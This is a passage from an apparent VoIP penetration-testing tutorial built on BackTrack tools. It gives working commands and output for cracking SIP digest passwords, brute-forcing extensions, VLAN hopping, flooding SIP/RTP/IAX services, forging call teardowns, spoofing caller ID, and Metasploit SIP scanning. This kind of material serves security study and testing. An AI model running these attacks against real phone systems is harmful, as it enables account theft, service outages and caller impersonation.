Realm - used to identify credentials within as SIP message, usually it is the sip domain. Nonce - this is an md5 unique string which is generated by the server for each registration request it is made from a time stamp and a secret phrase to ensure it has a limited lifetime and could be not be used again. Once the client receives the digest challenge and the user enters his credentials the client uses the nonce to generate a digest response and sends it back to the server.

Sip 30.png

With that said, lets try to crack the digest response in order to obtain a valid SIP account password. Cracking SIP Digest response hashesBacktrack provides a great tool called SIPCrack, We already discussed how to capture a valid SIP authentication digest response using SIPDump. SIPCrack can be found in

root@bt:/pentest/voip/sipcrack#

SIPCrack Usage:

root@bt:/pentest/voip/sipcrack# ./sipcrackSIPcrack 0.3 ( MaJoMu | www.codito.de )----------------------------------------Usage: sipcrack [OPTIONS] [ -s | -w ] = file containing logins sniffed by SIPdump Options: -s = use stdin for passwords -w wordlist = file containing all passwords to try -p num = print cracking process every n passwords (for -w) (ATTENTION: slows down heavily)* Either -w or -s has to be given

SIPCrack can operate in two modes:Dictionary attackSTDIN

Dictionary attackBacktrack provides some basic dictionaries which are located in:

root@bt:/pentest/passwords/wordlists

But for the purpose of this article I will use another grate tool in backtrack called Crunch which is used to create custom dictionaries. Lets use crunch to create a six characters numeric dictionary Crunch is located in:

root@bt:/pentest/passwords/crunch#

Crunch Usage:

usage: crunch [-f /path/to/charset.lst charset-name] [-o wordlist.txt] [-t [FIXED]@@@@] [-s startblock] [-c number]

For detailed crunch usage check its manual:

root@bt:/pentest/passwords/crunch# man crunch

Creating a six chars numeric dictionary:

root@bt:/pentest/passwords/crunch# ./crunch 6 6 -f charset.lst numeric -o /pentest/voip/sipcrack/sipass.txtCrunch will now generate 7000000 bytes of dataCrunch will now generate 6 MB of dataCrunch will now generate 0 GB of data100%

We will use a previously captured sip credentials stored by SIPDump in the auth.txt file ans sipass.txt as the dictionary (which we created using crunch)Cracking the Digest Response:

root@bt:/pentest/voip/sipcrack# ./sipcrack -w sipass.txt auth.txtSIPcrack 0.3 ( MaJoMu | www.codito.de )----------------------------------------* Found Accounts:Num Server Client User Hash|Password1 192.168.1.101 192.168.1.104 200 3a33e768ed6f630347f4b511371926bd* Select which entry to crack (1 - 1): 1* Generating static MD5 hash... 0a84f78fde66bb15197eab961462dc2f* Starting bruteforce against user '200' (MD5: '3a33e768ed6f630347f4b511371926bd')* Loaded wordlist: 'sipass.txt'* Starting bruteforce against user '200' (MD5: '3a33e768ed6f630347f4b511371926bd')* Tried 123457 passwords in 0 seconds

* Found password: '123456'* Updating dump file 'auth.txt'... done

Brute Force attack using John The RipperFor this attack mode we will be using John the ripper to redirect johns output into the FIFO file which well feed into SIPCrack. Creating a FIFO file:

root@bt:/tmp# mkfifo sipcrack

Generating passwords using john and redirecting the output to our FIFO file, for this example we will generate up to 6 digits only.

root@bt:~# john[*] This script will take you to /pentest/passwords/jtr/[*] From there, run ./john root@bt:/pentest/passwords/jtr# ./john --incremental=digits stdout=6 > /tmp/sipcrack

Using our FIFO file to crack the password:

root@bt:/pentest/voip/sipcrack# ./sipcrack -w /tmp/sipcrack auth.txtSIPcrack 0.3 ( MaJoMu | www.codito.de )----------------------------------------* Found Accounts:Num Server Client User Hash|Password1 192.168.1.111 192.168.1.104 200 8edc2d549294f6535070439fb069c968* Select which entry to crack (1 - 1): 1* Generating static MD5 hash... 0a84f78fde66bb15197eab961462dc2f* Starting bruteforce against user '200' (MD5: '8edc2d549294f6535070439fb069c968')* Loaded wordlist: '/tmp/sipcrack'* Starting bruteforce against user '200' (MD5: '8edc2d549294f6535070439fb069c968')* Tried 3 passwords in 0 seconds* Found password: '123456'* Updating dump file 'auth.txt'... done

Brute forcing SIP AccountsWe can use svcrack which is a part of the sipvicious tools suite to brute force sip accounts A single SIP account dictionary attack (You can add a -v or -vv for verbosity):

root@bt:/pentest/voip/sipvicious# ./svcrack.py -u200 -d wordlist.txt 192.168.1.104| Extension | Password |------------------------| 200 | 123456 |

A single SIP account brute forcing:

root@bt:/pentest/voip/sipvicious# ./svcrack.py -u200 -r100000-999999 192.168.1.104| Extension | Password |------------------------| 200 | 123456 |

Use ./svcrack h for all available arguments. VLAN Hopping

Usually VoIP traffic is connected to a dedicated VLAN (Virtual LAN) as we saw in the topologies section. This means that we cannot intercept the VoIP traffic by sniffing and Arp poisoning. The reason for that is that a VLAN is like a separate network, it has its own broadcast domain and different IP range than the data network. VLAN hopping is a way to hop to another VLAN, lucky for us Backtrack includes the necessary tools to perform this attack. One common topology is where the IP Phone has a built-in Internal Switch, usually the pc is plugged into the phone pc socket and the phone is connected from its lan/sw socket to the network switch as follows:

Sip 31.png

Sip 32.png

A typical CISCO switch port configuration for VoIP will look something like:

Switch# conf tEnter configuration commands, one per line. End with CNTL/Z.Switch(config)#interface fastEthernet 0/1Switch(config-if)#switchport mode accessSwitch(config-if)#switchport access vlan 10Switch(config-if)#switchport voice vlan 20

The IP phone will be configured with the appropriate VLAN ID (20) and the PC data traffic will flow through VLAN 10. Before we begin hopping around we will have to enable support for the 802.1q protocol in Backtrack by typing:

root@bt:~# modprobe 8021q

VoIP HopperVoIP hopper is used to hop into voice Vlan by behaving like an IP phone; it supports specific switches and supports some IP phones models. It currently supports the brands like: Cisco, Avaya and Nortel. VoIP hopper was designed to run under Backtrack Linux and currently has the following features: DHCP Client, CDP Generator, MAC Address Spoofing and VLAN hopping. Voiphopper usage:

root@bt:/pentest/voip/voiphopper# ./voiphoppervoiphopper -i -c {0|1|2} -a -n -v Please specify 1 base option mode:CDP Sniff Mode (-c 0)Example: voiphopper -i eth0 -c 0CDP Spoof Mode with custom packet (-c 1):-D (Device ID)-P (Port ID)-C (Capabilities)-L (Platform)-S (Software)-U (Duplex)Example: voiphopper -i eth0 -c 1 -E 'SIP00070EEA5086' -P 'Port 1' -C Host -L 'Cisco IP Phone 7940' -S 'P003-08-8-00' -U 1CDP Spoof Mode with pre-made packet (-c 2)Example: voiphopper -i eth0 -c 2Avaya DHCP Option Mode (-a):Example: voiphopper -i eth0 -aVLAN Hop Mode (-v VLAN ID):Example: voiphopper -i eth0 -v 200Nortel DHCP Option Mode (-n):Example: voiphopper -i eth0 -n

VoIP Hopper provides many modes for attack please use the h for detailed information.Lets take a look at an example of sniffing for CDP and run a VLAN Hop into the Voice VLAN in a Cisco environment. Run VoIP Hopper on the Ethernet interface, in the following way:

root@bt:/pentest/voip/voiphopper# ./voiphopper -i eth0 -c 0

Sip 33.png

VoIP Hopper also allows one to VLAN Hop to an arbitrary VLAN, without sniffing for CDP. If you already know the Voice VLAN ID or would like to VLAN Hop into another VLAN just specify the vlan id.

root@bt:/pentest/voip/voiphopper# ./voiphopper -i eth0 -v 20VoIP Hopper 1.00 Running in VLAN Hop mode ~ Trying to hop into VLAN 2Added VLAN 20 to Interface eth0Attempting dhcp request for new interface eth0.20

eth0.20 Link encap:Ethernet HWaddr 00:0c:29:84:98:b2 inet6 addr: fe80::20c:29ff:fe84:98b2/64 Scope:Link UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:9 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:2274 (2.2 KB)

ACEACE is another tool for vlan hopping very similar to Voiphopper in usage and include an option to discover also TFTP servers (configuration servers). ACE Usage:

root@bt:/pentest/voip/ace# ./aceACE v1.0: Automated Corporate (Data) EnumeratorUsage: ace [-i interface] [ -m mac address ] [ -t tftp server ip address | -c cdp mode | -v voice vlan id | -r vlan interface | -d verbose mode ]-i (Mandatory) Interface for sniffing/sending packets-m (Mandatory) MAC address of the victim IP phone-t (Optional) tftp server ip address-c (Optional) 0 CDP sniff mode, 1 CDP spoof mode-v (Optional) Enter the voice vlan ID-r (Optional) Removes the VLAN interface-d (Optional) Verbose | debug mode

You can manually add a vlan hop or use its discovery feature

Mode to specify the Voice VLAN IDExample: ace -i eth0 -v 96 -m 00:1E:F7:28:9C:8E

Mode to auto-discover voice vlan ID in the listening mode for CDPExample: ace -i eth0 -c 0 -m 00:1E:F7:28:9C:8E

Mode to auto-discover voice vlan ID in the spoofing mode for CDPExample: ace -i eth0 -c 1 -m 00:1E:F7:28:9C:8E

TIP: To view your MAC address in backtrack use:

root@bt:~# macchanger -s eth0

Sip 34.png

It doesnt matter if you used voiphopper or ace you can now intercept VoIP traffic with tools like ucsniff by specifying you newly created interface.For example:

root@bt:/pentest/voip/ucsniff# ucsniff -i eth0.20 // //

Denial Of Service

A denial of service attack on VoIP services can render it useless by causing an intentionally damage to the network and VoIP systems availability. This attack can occur on two levels, standard network dos attacks and VoIP specific dos attacks. Generally we will send tons of data by flooding the network to consume all its resources or a specific protocol in order to overwhelm it with tons of requests. Lets take a quick overview of the tools available in Backtrack InvitefloodThis tool can be used to flood a target with INVITE requests it can be used to target sip gateways/proxies and sip phones.

root@bt:/pentest/voip/inviteflood# ./invitefloodinviteflood - Version 2.0 June 09, 2006 Usage: Mandatory - interface (e.g. eth0) target user (e.g. "" or john.doe or 5000 or "1+210-555-1212") target domain (e.g. enterprise.com or an IPv4 address) IPv4 addr of flood target (ddd.ddd.ddd.ddd) flood stage (i.e. number of packets) Optional - -a flood tool "From:" alias (e.g. jane.doe) -i IPv4 source IP address [default is IP address of interface] -S srcPort (0 - 65535) [default is well-known discard port 9] -D destPort (0 - 65535) [default is well-known SIP port 5060] -l lineString line used by SNOM [default is blank] -s sleep time btwn INVITE msgs (usec) -h help - print this usage -v verbose output mode

A basic usage syntax looks like this:

./inviteflood eth0 target_extension target_domain target_ip number_of_packets

Sip 35.png

As long the tool keeps flooding the sip gateway it will prevent users from making phone calls. You can flood the sip proxy with an inexistent extension thus making it generating a 404 not found just to keep it busy. RtpfloodRtp flood is used to flood a target IP phone with a UDP packet contains a RTP data In order to launch a successful attack using rtpflood you will need know the RTP listening port on the remote device you want to attack, for example; x-lite sofphone default rtp port is 8000.

root@bt:/pentest/voip/rtpflood# ./rtpfloodusage: ./rtpflood sourcename destinationname srcport destport numpackets seqno timestamp SSID

Sip 36.png

IaxfloodIAXFlood is a tool for flooding the IAX2 protocol which is used by the Asterisk PBX.

root@bt:/pentest/voip/iaxflood# ./iaxfloodusage: ./iaxflood sourcename destinationname numpackets

Sip 37.png

TeardownTeardown is used to terminate a call by sending a bye request

./teardown eth0 extension sip_proxy 10.1.101.35 CallID FromTag ToTag

First you will need to capture a valid sip OK response and use its from and to tags and a valid caller id value.

SIP/2.0 200 OKVia: SIP/2.0/UDP 192.168.1.105;branch=z9hG4bKkfnyfaol;received=192.168.1.105;rport=5060From: "200" ;tag=hcykdTo: "200" ;tag=as644fe807Call-ID: jwtgckolqnoylqf@backtrackCSeq: 134 REGISTERUser-Agent: Asterisk PBXAllow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFYSupported: replacesExpires: 3600Contact: ;expires=3600Date: Tue, 01 Feb 2011 17:55:42 GMTContent-Length: 0

Sip 38.png

If you specify the -v option you can see the payload:

SIP PAYLOAD for packet:BYE sip:[email protected]:5060 SIP/2.0Via: SIP/2.0/UDP 192.168.1.105:9;branch=91ca1ba5-98ee-44d5-9170-61c30981c565From: ;tag=hcykdTo: 200 ;tag=as644fe807Call-ID: jwtgckolqnoylqf@backtrackCSeq: 2000000000 BYEMax-Forwards: 16User-Agent: HackerContent-Length: 0Contact:

Spoofing Caller ID

There are several methods for spoofing Caller ID which we wont discuss here because it requires a different set of tools and equipment which are irrelevant to this article purpose. Spoofing Caller ID in SIP is fairly easy, you just need to change the SIP request INVITE from header.

INVITE sip:@127.0.0.1 SIP/2.0To: Via: SIP/2.0/UDP 192.168.1.104From: "Evil Hacker"Call-ID: 14810.0.1.45CSeq: 1 INVITEMax-Forwards: 20 Contact:

We will take a look at a tool we have already discussed called Inviteflood which can be used to send spoofed invite requests.

root@bt:/pentest/voip/inviteflood# ./inviteflood eth0 201 192.168.1.104 192.168.1.104 1 -a "Backtrack"

Attacking VoIP Using Metasploit

The Metasploit framework includes several auxiliaries and modules dedicated for VoIP exploitation. You can find them by using the search function with keywords such as sip or voip. Lets Launch msfconsole and perform a search for available modules:

root@bt:~# msfconsole

msf > search sip

Metasploit VoIP ModulesHeres a complete list of the available modules for you reference:Auxiliariesscanner/sip/enumerator - SIP Username Enumerator (UDP) scanner/sip/enumerator_tcp - SIP Username Enumerator (TCP) scanner/sip/options - SIP Endpoint Scanner (UDP) scanner/sip/options_tcp - SIP Endpoint Scanner (TCP) voip/sip_invite_spoof - SIP Invite SpoofExploitswindows/sip/aim_triton_cseq - AIM Triton 1.0.4 CSeq Buffer Overflow windows/sip/sipxezphone_cseq - SIPfoundry sipXezPhone 0.35a CSeq Field Overflow windows/sip/sipxphone_cseq - SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow unix/webapp/trixbox_langchoice - Trixbox langChoice PHP Local File Inclusion Scanning SIP Enabled DevicesMetasploit provides a sip scanner auxiliary which comes in two flavors TCP and UDP, we can use it to discover SIP enabled devices using the OPTION method: Lets see an example of the UDP version: scanner/sip/options auxiliary Auxiliary Options and Usage:

msf > use auxiliary/scanner/sip/optionsmsf auxiliary(options) > show options

Module options (auxiliary/scanner/sip/options): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe in each set CHOST no The local client address CPORT 5060 no The local client port RHOSTS yes The target address range or CIDR identifier RPORT 5060 yes The target port THREADS 1 yes The number of concurrent threads TO nobody no The destination username to probe at each host

msf auxiliary(options) > set RHOSTS 192.168.1.130/24RHOSTS => 192.168.1.130/24msf auxiliary(options) > run

[*] 192.168.1.20 200 agent='Grandstream HT-502 V1.2A 1.0.1.35' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE'[*] 192.168.1.21 200 agent='Grandstream HT-502 V1.2A 1.0.1.35' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE'[*] 192.168.1.22 200 agent='Grandstream HT-502 V1.2A 1.0.1.35' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE'[*] 192.168.1.92 200 agent='Grandstream HT-502 V1.2A 1.0.1.35' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE'[*] 192.168.1.140 200 agent='Grandstream HT-502 V1.2A 1.0.1.35' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE'[*] 192.168.1.130 200 server='Asterisk PBX 1.6.2.13' verbs='INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO'[*] Scanned 256 of 256 hosts (100% complete)[*] Auxiliary module execution completed

Enumerating SIP extensions / UsernamesThe scanner/sip/enumerator auxiliary can be used to discover valid SIP accounts, it supports two methods of discovery: OPTIONS and REGISTER, it also comes in two flavors TCP and UDP. Auxiliary options:

msf > use scanner/sip/enumeratormsf auxiliary(enumerator) > show options

Module options (auxiliary/scanner/sip/enumerator):

Name Current Setting Required